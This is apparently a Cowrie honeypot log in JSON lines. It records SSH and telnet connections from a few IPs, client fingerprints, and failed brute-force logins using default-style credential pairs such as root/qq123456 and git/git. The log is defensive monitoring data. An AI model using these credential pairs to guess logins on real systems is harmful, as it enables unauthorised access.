{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:10.164357Z","src_ip":"176.65.132.129","session":"337ae5164b14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:10.249347Z","src_ip":"176.65.132.129","session":"337ae5164b14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"david","message":"login attempt [david/david] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:10.496469Z","src_ip":"176.65.132.129","session":"337ae5164b14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:11.581219Z","src_ip":"176.65.132.129","session":"337ae5164b14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53390,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ffa3116d4ae","protocol":"ssh","message":"New connection: 176.65.132.129:53390 (159.203.135.109:22) [session: 1ffa3116d4ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:13.746615Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:13.751654Z","src_ip":"176.65.132.129","session":"1ffa3116d4ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:13.834260Z","src_ip":"176.65.132.129","session":"1ffa3116d4ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"devuser","message":"login attempt [devuser/devuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:14.085578Z","src_ip":"176.65.132.129","session":"1ffa3116d4ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:15.172295Z","src_ip":"176.65.132.129","session":"1ffa3116d4ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":50620,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1834c64e643","protocol":"ssh","message":"New connection: 172.237.20.62:50620 (159.203.135.109:22) [session: d1834c64e643]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:16.393848Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:16.399184Z","src_ip":"172.237.20.62","session":"d1834c64e643","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:16.562365Z","src_ip":"172.237.20.62","session":"d1834c64e643","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qq123456","message":"login attempt [root/qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:17.039417Z","src_ip":"172.237.20.62","session":"d1834c64e643","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":51112,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f1c9eacd120","protocol":"ssh","message":"New connection: 176.65.132.129:51112 (159.203.135.109:22) [session: 9f1c9eacd120]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:17.148262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:17.152949Z","src_ip":"176.65.132.129","session":"9f1c9eacd120","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:17.235688Z","src_ip":"176.65.132.129","session":"9f1c9eacd120","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@wsx","message":"login attempt [root/1qaz@wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:17.485950Z","src_ip":"176.65.132.129","session":"9f1c9eacd120","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:18.200915Z","src_ip":"172.237.20.62","session":"d1834c64e643","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":52708,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2639b70e049","protocol":"telnet","message":"New connection: 45.58.127.90:52708 (10.17.0.5:23) [session: a2639b70e049]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:18.292921Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:18.575226Z","src_ip":"176.65.132.129","session":"9f1c9eacd120","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":47554,"dst_ip":"10.17.0.5","dst_port":23,"session":"804cd457b847","protocol":"telnet","message":"New connection: 45.58.127.90:47554 (10.17.0.5:23) [session: 804cd457b847]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:18.749980Z"}
{"eventid":"cowrie.session.closed","duration":38.64454388618469,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:20.151658Z","src_ip":"45.58.127.90","session":"0a705a5ed200","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":51116,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c75de8d278e","protocol":"ssh","message":"New connection: 176.65.132.129:51116 (159.203.135.109:22) [session: 5c75de8d278e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:20.600110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:20.712367Z","src_ip":"176.65.132.129","session":"5c75de8d278e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:20.715851Z","src_ip":"176.65.132.129","session":"5c75de8d278e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aiuser","password":"aiuser","message":"login attempt [aiuser/aiuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:21.041365Z","src_ip":"176.65.132.129","session":"5c75de8d278e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":47558,"dst_ip":"10.17.0.5","dst_port":23,"session":"f73a8a6bdf99","protocol":"telnet","message":"New connection: 45.58.127.90:47558 (10.17.0.5:23) [session: f73a8a6bdf99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:22.022520Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:22.126724Z","src_ip":"176.65.132.129","session":"5c75de8d278e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":51132,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f732f3fa6f7","protocol":"ssh","message":"New connection: 176.65.132.129:51132 (159.203.135.109:22) [session: 4f732f3fa6f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:24.044007Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:24.048771Z","src_ip":"176.65.132.129","session":"4f732f3fa6f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:24.130948Z","src_ip":"176.65.132.129","session":"4f732f3fa6f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"orca","password":"orca","message":"login attempt [orca/orca] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:24.385477Z","src_ip":"176.65.132.129","session":"4f732f3fa6f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":47560,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c6429b1192a","protocol":"telnet","message":"New connection: 45.58.127.90:47560 (10.17.0.5:23) [session: 7c6429b1192a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:24.938582Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:25.579239Z","src_ip":"176.65.132.129","session":"4f732f3fa6f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":39460,"dst_ip":"159.203.135.109","dst_port":22,"session":"56f1b315d6dc","protocol":"ssh","message":"New connection: 172.237.20.62:39460 (159.203.135.109:22) [session: 56f1b315d6dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:27.314189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:27.318384Z","src_ip":"172.237.20.62","session":"56f1b315d6dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49548,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4b9f1ceafb2","protocol":"ssh","message":"New connection: 176.65.132.129:49548 (159.203.135.109:22) [session: c4b9f1ceafb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:27.391079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:27.395530Z","src_ip":"176.65.132.129","session":"c4b9f1ceafb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:27.477167Z","src_ip":"172.237.20.62","session":"56f1b315d6dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:27.484100Z","src_ip":"176.65.132.129","session":"c4b9f1ceafb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123abc456","message":"login attempt [root/123abc456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:27.921800Z","src_ip":"176.65.132.129","session":"c4b9f1ceafb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git","message":"login attempt [git/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:27.963494Z","src_ip":"172.237.20.62","session":"56f1b315d6dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:29.006162Z","src_ip":"176.65.132.129","session":"c4b9f1ceafb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:46:29.124743Z","src_ip":"172.237.20.62","session":"56f1b315d6dc","protocol":"ssh"}
